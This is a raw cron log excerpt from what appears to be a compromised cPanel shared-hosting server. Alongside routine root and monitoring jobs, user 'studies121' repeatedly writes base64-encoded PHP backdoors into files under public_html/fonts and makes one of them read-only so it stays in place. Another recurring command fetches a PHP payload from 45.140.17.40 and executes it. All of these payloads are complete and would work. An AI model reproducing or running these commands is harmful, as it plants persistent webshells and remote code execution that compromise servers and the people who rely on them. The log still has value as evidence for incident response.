Aug 31 08:01:01 ip-184-168-122-23 CROND[26160]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 08:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[26169]: finished 0anacron
Aug 31 08:02:01 ip-184-168-122-23 CROND[26277]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 08:02:01 ip-184-168-122-23 CROND[26279]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 08:02:01 ip-184-168-122-23 CROND[26280]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 08:02:01 ip-184-168-122-23 CROND[26282]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 08:02:01 ip-184-168-122-23 CROND[26281]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 08:03:01 ip-184-168-122-23 CROND[26367]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 08:03:01 ip-184-168-122-23 CROND[26368]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 08:03:01 ip-184-168-122-23 CROND[26371]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 08:03:01 ip-184-168-122-23 CROND[26372]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 08:04:01 ip-184-168-122-23 CROND[26476]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 08:04:01 ip-184-168-122-23 CROND[26478]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 08:04:01 ip-184-168-122-23 CROND[26479]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 08:04:01 ip-184-168-122-23 CROND[26480]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 08:04:01 ip-184-168-122-23 CROND[26481]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 08:05:01 ip-184-168-122-23 CROND[26580]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 08:05:01 ip-184-168-122-23 CROND[26581]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 08:05:01 ip-184-168-122-23 CROND[26587]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 08:05:01 ip-184-168-122-23 CROND[26586]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 08:05:02 ip-184-168-122-23 CROND[26592]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 08:05:02 ip-184-168-122-23 CROND[26590]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Aug 31 08:05:02 ip-184-168-122-23 CROND[26591]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 08:06:02 ip-184-168-122-23 CROND[26786]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 08:06:02 ip-184-168-122-23 CROND[26789]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 08:06:02 ip-184-168-122-23 CROND[26790]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 08:06:02 ip-184-168-122-23 CROND[26791]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 08:06:02 ip-184-168-122-23 CROND[26792]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 08:07:01 ip-184-168-122-23 CROND[26881]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 08:07:01 ip-184-168-122-23 CROND[26883]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 08:07:01 ip-184-168-122-23 CROND[26885]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 08:07:01 ip-184-168-122-23 CROND[26884]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 08:08:01 ip-184-168-122-23 CROND[26976]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 08:08:01 ip-184-168-122-23 CROND[26981]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 08:08:01 ip-184-168-122-23 CROND[26980]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 08:08:01 ip-184-168-122-23 CROND[26979]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 08:08:01 ip-184-168-122-23 CROND[26978]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 08:09:01 ip-184-168-122-23 CROND[27096]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 08:09:01 ip-184-168-122-23 CROND[27097]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 08:09:01 ip-184-168-122-23 CROND[27100]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 08:09:01 ip-184-168-122-23 CROND[27102]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Aug 31 08:09:01 ip-184-168-122-23 CROND[27106]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 08:10:01 ip-184-168-122-23 CROND[27198]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 08:10:01 ip-184-168-122-23 CROND[27197]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 08:10:01 ip-184-168-122-23 CROND[27202]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 08:10:01 ip-184-168-122-23 CROND[27203]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 31 08:10:01 ip-184-168-122-23 CROND[27204]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 08:10:01 ip-184-168-122-23 CROND[27205]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 08:10:01 ip-184-168-122-23 CROND[27208]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 08:10:01 ip-184-168-122-23 CROND[27209]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 08:11:01 ip-184-168-122-23 CROND[27373]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 08:11:01 ip-184-168-122-23 CROND[27376]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 08:11:01 ip-184-168-122-23 CROND[27375]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 08:11:01 ip-184-168-122-23 CROND[27377]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 08:12:02 ip-184-168-122-23 CROND[27465]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 08:12:02 ip-184-168-122-23 CROND[27468]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 08:12:02 ip-184-168-122-23 CROND[27466]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 08:12:02 ip-184-168-122-23 CROND[27469]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 08:12:02 ip-184-168-122-23 CROND[27467]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 08:13:01 ip-184-168-122-23 CROND[27561]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 08:13:01 ip-184-168-122-23 CROND[27563]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 08:13:01 ip-184-168-122-23 CROND[27562]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
